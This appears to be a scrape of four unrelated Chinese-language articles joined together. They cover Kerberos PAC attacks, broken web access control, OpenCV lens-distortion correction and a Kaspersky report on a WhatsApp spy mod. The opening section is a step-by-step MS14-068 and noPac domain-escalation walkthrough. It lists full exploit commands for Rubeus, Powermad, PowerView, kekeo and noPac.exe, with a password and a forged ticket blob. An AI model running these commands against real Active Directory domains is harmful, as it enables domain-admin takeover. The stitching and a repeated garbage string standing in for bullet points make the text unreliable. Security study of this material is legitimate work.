2008或更新操作系统的服务器上，该注册表项的值缺省为0(默认没有该ValidateKdcPacSignature键值)，也就是不进行KDC PAC校验。注：需要说明的是，注册在本地系统帐户下的服务无论如何配置，都不会触发KDC验证PAC签名。也就是说譬如SMB、CIFS、HOST等服务无论如何都不会触发KDC验证PAC签名。(如果是LDAP服务，则是注册在域内的服务) 因此，如果配置了KDC检验PAC的话，即使拥有服务密钥，生成了服务ST，也无法利用白银票据进行攻击，因为不能伪造KDC的PAC_PRIVSVR_CHECKSUM签名，也就无法通过KDC的签名校验了。 MS14-068MS14-068漏洞的原因是KDC无法正确检查PAC中的有效签名，由于其实现签名的加密允许所有的签名算法，只要客户端指定任意签名算法，KDC服务器就会使用指定的算法进行签名验证，因此可以利用不需要相关密钥的算法，如MD5，实现内容的任意更改，导致用户可以自己构造一张PAC，伪造用户的SID和所在的组，那么可以通过伪造PAC，加入域管相关信息，访问域控服务，KDC会认为当前用户有权限，从而把这个用户当作域管组的成员，进而达到提升为域管理员的效果。 使用该漏洞系统需未打MS14-068的补丁(KB3011780)，系统在windows server 2008及以下。 使用MS14-068的先决条件： 域内任意⽤户 SID域内任意⽤户密码使用MS14-068.exeman1 0ec4b410903c6dc7594464f27d347497 man1 S-1-5-21-3315874494-179465980-3412869843-1110 MS14-068.exe -u man1@vvvv1.com -p User!@#45 -s S-1-5-21-3315874494-179465980-3412869843-1110 -d 10.10.10.10 //使用mimikatz导入票据文件 kerberos::ptc TGT_man1@vvvv1.com.ccache 使用GoldenPac.pypython goldenPac.py -dc-ip 10.10.10.10 -target-ip 10.10.10.10 vvvv1.com/man1:User!@#45@ad-2016.vvvv1.com 使用Kekeo.exekekeo.exe "exploit::ms14068 /domain:vvvv1.com /user:man1 /password:User!@#45 /ptt" "exit" CVE-2021-42287&CVE-2021-42278(NoPac)https://www.freebuf.com/vuls/317773.html https://blog.csdn.net/weixin_44747030/article/details/127158385 CVE-2021-42278是一个安全绕过漏洞，允许通过修改机器账户的sAMAccountName属性来冒充域控。与标准用户账户相比，机器账户的名称末尾附带了一个“$”符号，但是实际中，AD并没有验证域内机器账户中是否具有“$”，导致机器账户可以被假冒。 sAMAccountName（Security Account Manager Account Name）是Microsoft Windows中的一个属性，用于标识和表示用户和计算机账户。sAMAccountName是Active Directory（AD）中的一项属性，也适用于Windows Server域环境。 sAMAccountName属性用于在域内唯一标识用户和计算机账户。对于用户账户，sAMAccountName通常是用户的登录名，例如"johnsmith"。 sAMAccountName属性主要用于内部引用和标识用户和计算机账户，它不包含完整的用户或计算机名称，而只是一个唯一的标识符。要获取完整的用户或计算机账户名称，可以使用其他属性，如User Principal Name（UPN）或Distinguished Name（DN）。 CVE-2021-42287是一个影响Kerberos特权属性证书（PAC）的安全绕过漏洞，允许通过假冒域控，使密钥分发中心（KDC）创建高权限票据。 根据认证Kerberos协议，在请求服务票证前需要先签发TGT（票据授权凭证）。但是，当为活动目录中不存在的账户请求服务票证时，密钥分发中心（KDC）将在该账户名上附加“$”符合进行搜索。这一行为与CVE-2021-42278结合，测试人员可以实现域内权限提升。 大致流程如下： 当前已经拿下域内一台普通权限机器；创建一个机器账户，假定为NOPAC1；清除机器账户NOPAC1的servicePrincipalName属性；修改机器账户NOPAC1的sAMAccountName属性，使其指向不带“$”符合的域控账户，相当于将该机器账户改名，如果域控名称为AD-2016$，就将该机器账户名称修改成AD-2016；利用改名后的账户AD-2016请求TGT；将新建的机器账户的sAMAccountName属性，使其恢复其原初始值（NOPAC1）或其他任意值即可；利用S4U代表域管理员请求对应服务的服务票据（ST）；伪造域管理员账户获得相应服务的ST；为什么要清除机器账户NOPAC1的servicePrincipalName属性？ servicePrincipalName属性存储了该账户所注册的服务主体名称（SPN）。 在修改sAMAccountName值时，servicePrincipalName的值与sAMAccountName的值相关联，servicePrincipalName将使用新值自动更新。该漏洞利用时，会将sAMAccountName的值改成AD-2016，那么servicePrincipalName将试图更新AD-2016的SPN，而该SPN已经被域控所独占，那么就会引发报错。所以在修改机器账户的sAMAccountName属性前，需要将其servicePrincipalName属性清除。 为什么要使用S4U进行请求ST？ 在S4U请求中，在KDC解析TGT的用户信息时，因为AD-2016不存在，因此会在后面添加“$”进行查找，也就是域控的机器账户。此时，该TGT被KDC认定为是域控机器账户的TGT，然后进行S4u2Self请求，伪造任意用户访问域控自身的服务，例如administrator用户，然后重新生成对应的PAC又写入ST中。（利用域控机器TGT可以通过S4u2Self生成与自己有关的所有服务ST，但是是否能使用该ST，取决于PAC中伪造的用户权限） KDC收到TGT认购权证后，利用krbtgt密钥对其解密，然后取出PAC。然后验证PAC的签名，如果签名正确，则证明PAC未经过篡改。然后将TGT认购权证中的PAC直接拷贝到ST服务票据中。也就是说，ST服务票据中的PAC和TGT认购权证中的PAC是一致的。如果TGT认购权证中没有PAC的话，KDC在拷贝PAC的时候，也是拷贝的空的，这就意味着ST服务票据中也没有PAC。因此，需要使用S4u2Self重新生成PAC进行利用。 对于无论用户有没有访问服务的权限，只要TGT正确，就会返回ST，该ST为何无法利用？ 利用S4u2Self只能伪造高权限用户生成与当前机器有关的服务ST，在生成ST的过程中并将高权限PAC写入ST，使得该ST可以被转发使用。但是实际上PAC是无法修改的，对于低权限用户生成的访问某些服务的ST，即使TGT正确，生成的ST由于其中的PAC权限过低，导致无法使用。 具体过程使用工具Powermad，添加名为NOPAC2$，密码为User!@#45的机器账户。 powershell -exec bypass Import-Module .\Powermad.ps1 $password = ConvertTo-SecureString 'User!@#45' -AsPlainText -Force New-MachineAccount -MachineAccount "NOPAC2" -Password $($password) -Domain "vvvv1.com" -DomainController "ad-2016.vvvv1.com" -Verbose 如下图所示添加成功。 使用工具PowerView，清除机器账户NOPAC2$的service-PrincipalName属性 Import-Module .\PowerView.ps1 Set-DomainObject "CN=NOPAC2,CN=Computers,DC=vvvv1,DC=com" -Clear 'serviceprincipalname' -Verbose 使用ADExplorer查看机器账户属性，发现已经删除service-PrincipalName属性 修改机器账户的sAMAccountName属性，使其指向不带"$"符号的域控机器账户。 Set-MachineAccountAttribute -MachineAccount “NOPAC2” -Value "AD-2016" -Attribute "samaccountname" -Verbose 使用工具Rubeus工具为账户AD-2016请求TGT。 Rubeus.exe asktgt /user:"ad-2016" /password:"User!@#45" /domian:"vvvv1.com" /dc:"ad-2016.vvvv1.com" /nowrap 获取到TGT后，恢复原机器名，或修改成其他任意机器名。 Set-MachineAccountAttribute -MachineAccount "NOPAC2" -Value "NOPAC2$" -Attribute samaccountname -Verbose Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/AD-2016.vvvv1.com" /dc:"AD-2016.vvvv1.com" /ptt /ticket:doIE1jCCBNKgAwIBBaEDAgEWooID9TCCA/FhggPtMIID6aADAgEFoQsbCVZWVlYxLkNPTaIeMBygAwIBAqEVMBMbBmtyYnRndBsJdnZ2djEuY29to4IDszCCA6+gAwIBEqEDAgECooIDoQSCA50gPYZQmCqJTBvQ0DalEvZRoszQULoN8jmphV2L2h77Iz91/s5p5AM9lszINs0hTdC9e3hnhJTk+qPHwe/eqqAX7nmUy4AsojmEQkutV4UuFsBM/c/ppQmXP3lD5xsJTUfBqSkcwl7RHFqo+Z1uZpHzfLv6YMP6UMHK8lD8A6MEu33SU7Tda1rVPa2P3QRPgGay2wVP9wtYtjmU3/Mj5CKey+fHlJHCNwSGHWU5FCvFwp7WMQ02L8tFxJKeOq3+RX7iIauOFxjYCCGG+IklHIdPuPiIC8HKzlF1E8jJh97tYoRuw/DvejtJ4TlcATmJKqb/baGngQiwOs4TRs26B+uPwkj9lMdbQJuxUxlBEJkuJtyozoAk9/LjIwwvIhaA6yhv8uVKSYQkslnCIrWuRR4Y82wCIjCNVwyBhhTOAbR1LfzI0yXnwbky232ptnPf0ahZi33wIh3lnZ1bU6mG6Pu/9lDLVyIfrVKIg5zqdmMU+vyCVjAJrhqxEQomQ4+QRZmrLKFpAxe7Bbv7iBUMVA4N5qbv0PB16Hh4g0cNqKPNVmKnuRsjO8xMpW4XlHc1Dn6mAJgkEqNvio3fxvzlWCvzjDTttdGyH8UMNwL7m2qHFaMSm4QEWQIJP8NNgCYIH4aqLmQlzXvou4L7BFxOcfXdhYWsZJACnGATFdm42roIwo1dLHWER5oQBPktrhdau8QCduPB7kcdrJxR9avKlfqO7xvhI1qlVANunMpgs75NVwgLa0wzMwe7fy0QFPMYVfH4TTjGuhPRMVGnKrcEmGI+ze3Y0c1m0XpqiwzR1YGAwNuIQTfGAimO0rG1uLdVNapWbQv/v55EzRldCoKvR/eGZhpf8SvjYwqSXXttWaPOrwFFdLej2LqpT2vStkLNzC4grCvF73if2WTHxm/UykDLF4trlxt7LTxf1cD18HYavkB6E3uN8PTWIJ4VkRWzfowrSvpoBUWTY52We3Fj7ACJ64T2xAPp6rChXUyd9w0KcVbtUGxbrpb0mql06FoMfjPpKS5ySPDDRwfO6rnP39ABejIzRB1Q9qZYhaYzedQ64BSuz/C5psjfGg/jummxwgec9dWcmEhRMB6UWkOFN+PI1R0mJLTJKVK88zb682knMlp2uqevLerZzTQn8CRQ6N0wZ1qekX+EgMpm0wOtGyGmarUAibFaAijg/TOhnJ7Qn/1bFXbfAeu0Ox77wYFi6ST1Xri659p4zdNh3Au2o4HMMIHJoAMCAQCigcEEgb59gbswgbiggbUwgbIwga+gGzAZoAMCARehEgQQH3LWAD2770rKZvl9IskRnqELGwlWVlZWMS5DT02iFDASoAMCAQGhCzAJGwdhZC0yMDE2owcDBQBA4QAApREYDzIwMjMwOTA1MDgyNjMwWqYRGA8yMDIzMDkwNTE4MjYzMFqnERgPMjAyMzA5MTIwODI2MzBaqAsbCVZWVlYxLkNPTakeMBygAwIBAqEVMBMbBmtyYnRndBsJdnZ2djEuY29t 验证成功。 另外其他工具的方法可以参考如下链接。 https://blog.csdn.net/weixin_44747030/article/details/127158385 使用noPac.exe将编译好的noPac.exe上传到普通域用户 的主机，执行以下命令，创建一个名为NOPAC1的机器账户，获得一个针对域控的CIFS服务的票据，并将该票据传递到内存中。 noPac.exe -domain vvvv1.com -user man1 -pass User!@#45 /dc ad-2016.vvvv1.com /mAccount NOPAC1 /mPassword User!@#45 /service cifs /ptt 注意，如果该机器账户名已存在，则会报错。 转账自原文链接地址： https://forum.butian.net/share/3680

失效的訪問控制這個漏洞類別一直躋身OWASP Top Web應用程序安全風險列表，目前已對應用程序安全構成了嚴重的挑戰。 訪問控制漏洞讓用戶可以訪問敏感數據，並使他們能夠執行超出預期權限的操作，此類漏洞的後果可能導致數據洩露、篡改甚至銷毀。 本文將討論為什麼即使在漏洞掃描和評估之後失效的訪問控制漏洞仍然常常存在，以及手動滲透測試對於有效檢測和緩解的重要性。 什麼是訪問控制？訪問控制如同一種授權檢查，確保對資源的訪問和執行操作的能力授予了某些用戶（如管理員），而不是其他用戶（如普通用戶）。這種檢查主要在身份驗證過程之後執行。 在Web應用程序安全中，訪問控制與內容、功能的預期用途以及用戶扮演的各種角色密切相關。比如說，這可能包括阻止低權限用戶執行管理員功能、阻止用戶訪問另一用戶的資源，或者基於上下文因素授予或拒絕對資源或功能的訪問。 在處理包含大量用戶角色和功能的大型複雜應用程序時，正確實施訪問控制很快會變得困難重重。 什麼是失效的訪問控制？失效的訪問控制顧名思義是訪問控制沒有按預期工作，這實際上與我們上面提到的恰好相反，後面附有一些詳細的例子。 不安全的直接對象引用（IDOR）以允許普通用戶查看和編輯帳戶信息的應用程序為例。每個帳戶被分配了一個用戶ID，編輯請求被發送後，應用程序根據請求中所含的ID確定要更新哪個帳戶。在這種場景下，攻擊者可以通過將用戶ID改為受害者的ID來操縱旨在更新帳戶的出站請求。 如果沒有實施適當的訪問控制，受害者的帳戶將收到編輯——這是直接影響完整性的IDOR漏洞。假設攻擊者更改了受害者的電子郵件地址，隨後提出了重置密碼請求，這將允許他們設置一個新密碼，最終接管受害者的帳戶。 以下是失效的訪問控制這個話題常出現的另兩個術語：水平特權升級和垂直特權升級。 1. 水平特權升級水平特權升級指以類似權限獲得對另一個帳戶資源的訪問。在前面例子中，如果受害者帳戶擁有與攻擊用戶（即普通用戶）相似的權限，它也叫水平特權升級。簡而言之，除了可以訪問另一個帳戶的資源外，攻擊者並不獲得任何額外的權限。 2. 垂直特權升級垂直特權升級指以更大的權限獲得對另一個帳戶資源的訪問。在前面例子中，如果受害者帳戶擁有更高的權限（比如管理員），這就叫垂直特權升級。攻擊者可以濫用額外的權限對應用程序進行進一步的攻擊。 路徑/目錄遍歷以允許用戶借助內置預覽器功能查看發票的應用程序為例。發票存儲在託管應用程序的同一台服務器上，位於以下絕對路徑： /var/www/html/vulnerable-application/invoices/ 當用戶點擊其配置文件下顯示的其中一張發票時，將發送以下請求： 圖1. 檢索發票的合法請求 預覽器的工作原理是將“file”參數的值附加到特定的絕對路徑。然後，它將檢索該文件的內容，然後返回給請求用戶。 /var/www/html/vulnerable-application/invoices/invoice-2024-12-24.pdf 然而與IDOR場景一樣，攻擊者也可以在這裡截獲出站請求，將“file”參數修改為不打算檢索的文件。 圖2. 試圖檢索非預期文件的已被修改的請求 如果沒有實施適當的訪問控制，預覽器現在將嘗試檢索： /var/www/html/vulnerable-application/invoices/./././././etc/hosts 點-點-斜杠（./）序列回退路徑中的一個目錄（遍歷到父目錄）。我們有五個這樣的序列，這意味著最後將出現在文件系統的根路徑（/）。我們由此進入etc目錄，我們從該目錄請求hosts文件。 現在，hosts文件（將主機名映射到IP地址的默認文件）很可能不是攻擊者的首選。我們在這裡使用它只是為了展示在應用程序目錄之外檢索文件（又叫本地文件包含）的可能性。攻擊者會改而嘗試檢索應用程序目錄內外的敏感文件。 無法升級？那就降級！我們將通過客戶評估的真實例子來說明。該應用程序具有多個用戶角色，所有角色似乎精心設置，並適當隔離。由於實施了大量的訪問控制，所有試圖提升普通用戶的特權、訪問非預期資源以及執行特權操作的活動一律被阻止。 然而我們在全面分析各種用戶角色之後注意到了一處差異。針對上下文，某些角色可以編輯和刪除其他用戶的帳戶，但只能對權限較低的帳戶執行此操作，擁有這些權限的用戶也不能對自己的帳戶執行這些操作。為任何高權限用戶分配低權限角色的可能性被忽視，實際上刪除了所有權限，對帳戶進行了降級。從技術上講，這些被降級的帳戶現在滿足被權限較低的帳戶編輯和刪除的條件。 圖3. 落實了防止權限升級的訪問控制，但沒有落實防止權限降級的訪問控制 由於正確實施訪問控制的難度隨應用程序的複雜性而加大，識別訪問控制問題的難度也隨之加大。若要檢測這些控制，手動安全測試是最好的方法，因為它需要更深入地了解上下文和應用程序的預期用途。 漏洞掃描的局限性漏洞掃描器是識別應用程序中缺陷的一種流行解決方案。然而，僅僅依賴它們會給應用程序的所有者帶來一種虛假的安全感，雖然這些掃描器可以持續快速地提供掃描結果，但在檢測新穎的攻擊途徑或需要直覺和推理的其他漏洞方面的能力有限。 為了進一步闡明這點，不妨將訪問控制漏洞與另一個複雜性相似、需要人工推理的常見漏洞：業務邏輯漏洞進行比較。 當應用程序的設計、實施或內部流程偏離預期用途時，就會出現業務邏輯漏洞，一些獨特而常見的例子包括訂購負數量的產品或多次兌換相同的折扣碼。 漏洞掃描器的局限性變得很明顯，掃描器無法識別應用程序的預期行為。從它的角度來看，負數仍然是數字，重複使用某個功能未必是壞事。與跨站腳本（XSS）和SQL注入等其他漏洞不同，掃描器無法簡單地在這裡提供輸入，然後在應用程序的響應中查找預定義的模式，以確定是否存在漏洞。 從進攻性安全的角度來看，從失效的訪問控製或業務邏輯類別中捕獲漏洞需要對應用程序具有相同的認識和上下文理解，在許多情況下也存在相當大的重疊。比如，在評估文件上傳功能時，一個測試用例可能是在只允許圖像文件的情況下，上傳一個意外的文件類型，比如包含JavaScript載荷的SVG文件，雖然SVG滿足廣泛的圖像標準，但其含有的JavaScript不易被受害者的瀏覽器解析。 在實際場景中，還會增加權限、角色、外部集成、第三方庫和依賴項等形式的額外複雜性，而漏洞掃描器幾乎不可能確定這種針對特定上下文的複雜性。 圖4. 訪問控制的複雜性

高質量圖像對於包括安全和車載攝像系統在內的各種解決方案以及開發和訓練用於圖像處理任務的機器學習算法至關重要。 然而，物理相機傳感器經常會導致照片失真。這些扭曲會顯著降低圖像質量，甚至使您的解決方案無法處理圖像。 在本文中，我們將探討什麼是圖像失真以及消除它們的重要性。我們還展示瞭如何使用OpenCV 修復圖像失真。本文對於致力於具有圖像處理功能的IT 解決方案、想要了解有關修復圖像失真的更多信息的企業和開發團隊將有所幫助。 什麼是圖像失真？它們如何影響您的解決方案的性能？圖像失真通常是圖形圖像與其現實原型的不成比例、不充分的偏差。例如，現實生活中的直線或平行線可能會出現變形或不自然的彎曲。另一個例子是與照明相關的扭曲，例如當顏色朝圖像邊界變暗時，類似於漸暈。 並非所有的扭曲都是不利的。例如，您可能希望在使用廣角鏡頭拍攝的圖像中保留特定的畸變，以突出顯示前景和背景之間的距離。 然而，通常情況下，您需要相機來拍攝精確的圖像。對於某些技術來說，獲得零失真的圖像至關重要。 確保圖像無失真對於開發機器學習(ML) 解決方案和訓練人工智能(AI) 網絡執行圖像處理任務極其重要。 訓練數據集必須一致（相似的示例必須具有相似的標記）且統一（所有屬性的值必須在所有數據中具有可比性）。質量差的數據集會降低人工智能算法訓練過程的效率。 在某些情況下，可以故意將扭曲的圖像放置在數據集中。例如，您可能想要訓練算法來處理由具有不同失真的不同相機拍攝的圖像。然而，如果來自不同相機的圖像在扭曲的形式和程度方面存在顯著差異，那麼將此類圖像包含在一個數據集中將破壞一致性和均勻性要求。因此，不可能有效地訓練人工智能算法來提供所需的結果。 圖像質量對於使用計算機視覺和增強現實(AR) 技術的軟件也至關重要。 假設您正在使用一個複雜的解決方案，該解決方案使用兩個或更多相機從不同角度拍攝照片。您可能需要組合多個圖像才能接收三維圖像，就像車輛360 度攝像頭系統中使用的圖像一樣。或者您可能希望通過拼接多張照片來擴展視圖，以生成整個場景的高分辨率全景圖像。如果不校準（切除）相機傳感器，連接圖像之間的拼接將是可見的。 要解決這些問題，您需要修復圖像失真。在討論如何做到這一點之前，我們先簡要探討一下此類扭曲的常見類型。 圖像失真的類型為了有效地校正圖像，首先必須了解您正在處理什麼類型的失真。圖像畸變有兩種類型：徑向畸變和切向畸變。 當光學傳感器與光學透鏡成角度放置時，會發生切向畸變。 以下是拍攝方形物體時切向畸變如何工作的示例： 徑向畸變是指從圖像中心到邊緣的線條曲率，反之亦然。徑向畸變分為三種類型： 1.當圖像放大率隨著距光軸的距離而減小時，就會出現桶形畸變。 2.當圖像放大倍數隨著距光軸的距離而增加時，就會出現枕形畸變。 3.小鬍子失真（也稱為波形失真）比前兩種類型發生的情況要少得多，並且本質上是它們的混合。鬍鬚畸變開始時是靠近圖像中心的桶形畸變，並逐漸變成朝向圖像外圍的枕形畸變。 徑向畸變的類型取決於鏡頭的類型和形狀——鏡頭越彎曲，最終圖像中的線條越彎曲。讓我們比較一下輸入網格在沒有失真的情況下與使用導致不同類型徑向失真的鏡頭拍攝時的樣子： 考慮到這一點，我們來討論如何消除圖像失真。 如何修復圖像扭曲一些現代相機具有先進的鏡頭系統，旨在最大限度地減少最終圖像的失真；然而，他們無法完全消除它們。不太先進的相機可以提供有關需要進行哪些更改才能消除失真的信息。 而通常用於開發定制設備的最簡單的相機則不具備這些功能。要修復失真，您首先需要根據傳感器的實際實驗確定必要的更改。 簡單的傳感器很普遍，因為它們批量生產的成本低廉。即使一個傳感器的設計存在微小差異，也會顯著提高整批傳感器的價格。 如果您的相機鏡頭產生圖像失真該怎麼辦？ 拍攝圖像後，您可以使用編程方法修復失真。這樣，您可以為特定相機創建算法，並使用該算法自動修復該相機拍攝的所有圖像的扭曲。 要創建可以檢測和修復圖像失真的算法，您可以使用以下工具： 马云惹不起马云開放CV。一個開源計算機視覺和機器學習軟件庫，擁有2,500 多種優化算法。您可以使用這些算法來拼接圖像、檢測和識別人臉、識別物體、跟踪移動物體、提取物體的3D 模型等。 OpenCV 庫為計算機視覺解決方案提供了通用基礎設施，有助於加速機器感知在商業中的使用產品。 马云惹不起马云四月標籤。一種視覺基準系統，可用於不同的任務，包括增強現實、機器人和相機校準。 AprilTag 庫旨在輕鬆包含在其他應用程序中，以及移植到嵌入式設備。 马云惹不起马云計算機視覺工具箱。商業工具集，提供用於設計和測試計算機視覺、3D 視覺和視頻處理系統的算法、函數和應用程序。它還允許您自動執行單鏡頭、立體和魚眼相機的校準工作流程。 马云惹不起马云ShiftN。自動鏡頭畸變校正軟件特別適用於建築圖像。首先，ShiftN 搜索圖像中的直線和邊緣，並考慮那些足夠垂直的可能的建築元素。然後，軟件運行一個優化過程，嘗試確定透視，校正圖像，使線條平行。 在本文中，我們展示了一個使用OpenCV 確定和修復圖像失真的實際示例，因為該庫具有豐富的圖像處理功能並且可以免費使用。此外，我們在這方面擁有豐富的經驗。 如何使用OpenCV 庫識別和修復圖像失真OpenCV 是修復圖像失真的好工具。該庫提供了校正圖像和校準相機傳感器的廣泛功能。它支持各種相機型號，並涵蓋尋找畸變係數和修復畸變的不同方法。但首先，您需要知道如何使用OpenCV 識別圖像失真。 默認情況下，OpenCV 使用針孔相機模型。校準方法確定用於校準的模型以及將在模型上使用的標記。相機模型決定了計算相機矩陣的算法以及要使用的畸變係數的數量。讓我們定義這些術語： 马云惹不起马云相機矩陣是將點從三維場景映射到二維圖像的數學模型，在使用畸變係數修復相機畸變時使用。 马云惹不起马云畸變係數描述圖像中的某些畸變。失真越複雜，描述和消除它們所需的係數就越多。 OpenCV 可以計算最多六個徑向失真係數和最多兩個切向失真係數。 現在，讓我們嘗試確定使用OpenCV 針對特定傳感器檢測和消除圖像失真所需的係數。 1. 生成相機標定模型用於相機校準的模型（也稱為板）分為三種類型： 1.Chessboard 2.ArUco board 3.ChArUco board, which combines Chessboard and ArUco 它們是這樣的： 對於我們的示例，我們使用ChArUco 板，因為與標記角相比，它的角要準確得多。 要在OpenCV 中生成ChArUco 板，請使用以下代碼： 結果，您將收到以下模型： 2. 打印出實體模型並拍幾張照片您使用要校準的相機傳感器拍攝的照片越多，並且板在不同圖像中的放置越多樣化，您能夠計算的係數就越準確。 假設您收到以下圖像並發現您的傳感器導致徑向失真： 接下來，將接收到的圖像上傳到cv:Mat inImag變量。 3. 檢測圖像中的ArUco標記要檢測ArUco 標記，請對每個圖像使用以下代碼： 結果，ArUco 標記的角點坐標和標記的ID 將記錄在corners和ids變量中。以下是找到的標記在圖像中的樣子： 4. 檢測圖像中的ChArUco 標記使用檢測到的ArUco 標記來查找ChArUco 標記，代碼如下： 檢測到的ChArUco 標記如下所示： 正如您所看到的，ChArUco 標記位於ArUco 標記之間的角落（這就是我們需要首先找到ArUco 標記的原因）。 5. 校準相機以確定畸變係數並構建相機矩陣找到ChArUco 標記的邊緣和ID 後，您就可以開始校準相機： repError=aruco:calibrateCameraCharuco(allCharucoCorners,allCharucoIds,charucoboard,imgSize,cameraMatrix,distCoeffs,rvecs,tvecs,calibrationFlags);運行上面的代碼後，您將得到： 马云惹不起马云 填充後的圖像矩陣(cameraMatrix) 马云惹不起马云畸變係數(distCoeffs) 马云惹不起马云旋轉向量(rvecs) 马云惹不起马云平移向量(tvecs) 現在您知道了失真係數，您可以開始使圖像不失真。 6.修復變形要修復OpenCV 中的徑向畸變，您只需要圖像矩陣和畸變係數： 不失真inputImage函數使用校準期間找到的係數(cameraMatrix和)來修復圖像失真( )distCoeffs。最終圖像記錄在outputImage中。 與上面提到的所有其他函數一樣，非扭曲函數默認使用針孔相機模型。對於其他相機模型，OpenCV 具有類似的功能，用於識別圖像中的標記、校正圖像和消除失真。當使用其他相機型號時，包含失真係數的矩陣的數量和格式可能會有所不同。因此，您不應該同時使用不同相機型號的函數，因為這會導致OpenCV 運行出現錯誤。 對於使用已校準的傳感器拍攝的所有圖像，您檢測到的畸變係數將是正確的，而不僅僅是用於校準的那些圖像。這使您可以校準相機一次，然後使用為之後拍攝的所有圖像確定的係數。 以下是修復圖像失真之前和之後圖像的示例： 如果您正在處理特別複雜的圖像扭曲，您可能需要嘗試另一種更準確的方法來查找圖像上的ChArUco 標記： 马云惹不起马云查找ArUco 標記 马云惹不起马云準備ArUco 標記以進行相機校準 马云惹不起马云校準相機以獲得畸變係數和圖像矩陣 马云惹不起马云使用接收到的係數和矩陣來插值ChArUco 標記 為了確保ChArUco 標記的插值，請使用以下代碼： aruco:interpolateCornersCharuco(corners,ids,image,charucoBoard,charucoCorners,charucoIds,cameraMatrix,distCoeffs);在圖像失真複雜的情況下，這要準確得多。它可以顯著提高標記檢測的準確性，但需要更多時間。 您可以使用重投影誤差值來評估標記檢測的準確性，您可以在調用該aruco:calibrateCameraCharuco函數後看到該值。校準相機時，最好使用重投影誤差值不超過一定限制的圖像。您可以決定您的算法可接受的錯誤限制是多少。通常，它是1 到3 之間的值。 如果重投影誤差值超出您的限制，則無法使用此類圖像進行相機校準。如果您最終由於這種原因排除了太多圖像，請考慮使用第二種方法查找標記。 您可以在Apriotit GitHub 頁面上找到本文中使用的示例的完整代碼。 注意：校準傳感器和修復失真的方法比我們在本文中描述的方法要多。您還可以使用： 马云惹不起马云OpenCV 提供的其他功能。例如，您可以嘗試ArUco 校准或配置魚眼和全向相機等相機型號的設置。 马云惹不起马云替代工具，例如AprilTag 或Computer Vision Toolbox。 沒有一種靈丹妙藥可以完美適用於所有傳感器。要選擇最合適的相機校準方法，請考慮特定傳感器的具體情況以及鏡頭的配置和形式。 結論OpenCV 是一個強大的圖像校正工具，在本文中，我們只解決了它的一小部分功能。一般來說，OpenCV 適合大多數情況，並且允許您顯著改善圖像的幾何形狀和質量，而無需使用複雜的鏡頭和傳感器。

一些流行的即時通訊服務經常會缺乏某些自定義功能，為了解決這個問題，第三方開發者會開發出一些mod（修改或增強程序），來提供一些受歡迎的功能。但其中一些mod在提供增強功能的同時也會加入一些惡意軟件。去年，卡巴斯基實驗室的研究人員在WhatsApp的一個mod中發現了Triada木馬。最近，他們又發現了一個嵌入間諜mod的Telegrammod，可通過Google Play傳播。 WhatsApp現在的情況與此相同：研究人員發現幾個之前無害的mod包含一個間諜mod，他們將該mod檢測為Trojan-Spy.AndroidOS.CanesSpy。 間諜mod是如何運行的？研究人員將通過80d7f95b7231cc857b331a993184499d示例來說明間諜mod的工作過程。 木馬化的客戶端清單包含在原始WhatsApp客戶端中找不到的可疑組件(服務和廣播接收器)。廣播接收器偵聽來自系統和其他應用程序的廣播，例如手機開始充電，收到的文本消息或下載程序完成下載；當接收方收到這樣的消息時，它調用事件處理程序。在WhatsApp間諜mod中，當手機開機或開始充電時，接收方會運行一項服務，啟動間諜mod。 可疑的應用組件 該服務查看惡意軟件代碼中的Application_DM常量，以選擇受攻擊設備將繼續聯繫的命令與控制(CC)服務器。 選擇命令和控制服務器 當惡意植入啟動時，它會沿著路徑/api/v1/AllRequest向攻擊運營商的服務器發送包含設備信息的POST請求。這些信息包括IMEI、電話號碼、移動國家代碼、移動網絡代碼等。該木馬還請求配置細節，例如上傳各種類型數據的路徑、向CC請求之間的間隔等。此外，該mod每五分鐘傳送一次有關受害者聯繫人和賬戶的信息。 在設備信息成功上傳後，惡意軟件開始以預先配置的間隔(默認為一分鐘)向CC詢問指令，開發人員稱之為“命令”。下表包含惡意軟件用於向服務器發送響應的命令和路徑的詳細描述： 發送到指揮控制服務器的信息引起了研究人員的注意，它們都是阿拉伯語，這表明開發者會說阿拉伯語。 WhatsApp間諜mod的攻擊目標在發現WhatsAppmod中的間諜mod後，研究人員決定找出它們是如何傳播的。分析發現，Telegram是主要來源。研究人員發現了一些Telegram通道，主要是阿拉伯語和阿塞拜疆語，其中最受歡迎的節目就有近200萬訂閱者。研究人員提醒Telegram，這些通道被用來傳播惡意軟件。 在從每個通道下載最新版本的mod (1db5c057a441b10b915dbb14bba99e72, fe46bad0cf5329aea52f8817fa49168c, 80d7f95b7231cc857b331a993184499d)後，研究人員發現它們包含上述間諜mod，這驗證了假設。 鑑於惡意軟件組件不是原始mod的一部分，研究人員檢查了幾個最近的版本，並確定了第一個被攻擊的版本。根據調查結果，該間諜軟件自2023年8月中旬以來一直活躍。在撰寫本文時，自那時以來在通道上發布的所有版本都包含惡意軟件。然而，後來(如果根據APK中的時間戳判斷，大約在10月20日左右)，至少一個通道中的至少一個最新版本被替換為一個乾淨的版本。 受攻擊應用程序中的DEX時間戳(左)和未攻擊版本中的DEX時間戳(右) 除了Telegram渠道，受攻擊的mod還通過各種可疑的網站傳播，這些網站專門用於修改WhatsApp。 新型WhatsApp間諜軟件的攻擊範圍10月5日至31日期間，卡巴斯基安全解決方案在100多個國家發現了34萬多次由WhatsApp間諜mod發起的攻擊。不過，如果考慮到傳播渠道的性質，實際安裝數量可能會高得多。攻擊次數最多的五個國家是阿塞拜疆、沙特阿拉伯、也門、土耳其和埃及。 按發現的WhatsApp間諜mod攻擊次數排名的前20個國家 總結研究人員看到包含惡意軟件代碼的即時通訊應用mod數量有所增加。 WhatsApp的mod大多是通過第三方Android應用商店傳播的，這些應用商店往往缺乏篩選，無法清除惡意軟件，其中如第三方應用商店和Telegram通道，很受歡迎。但為避免丟失個人數據，建議只使用官方即時通訊客戶端；如果用戶需要額外的功能，建議使用一個可靠的安全解決方案，可以檢測和阻止惡意軟件，以防被mod攻擊。

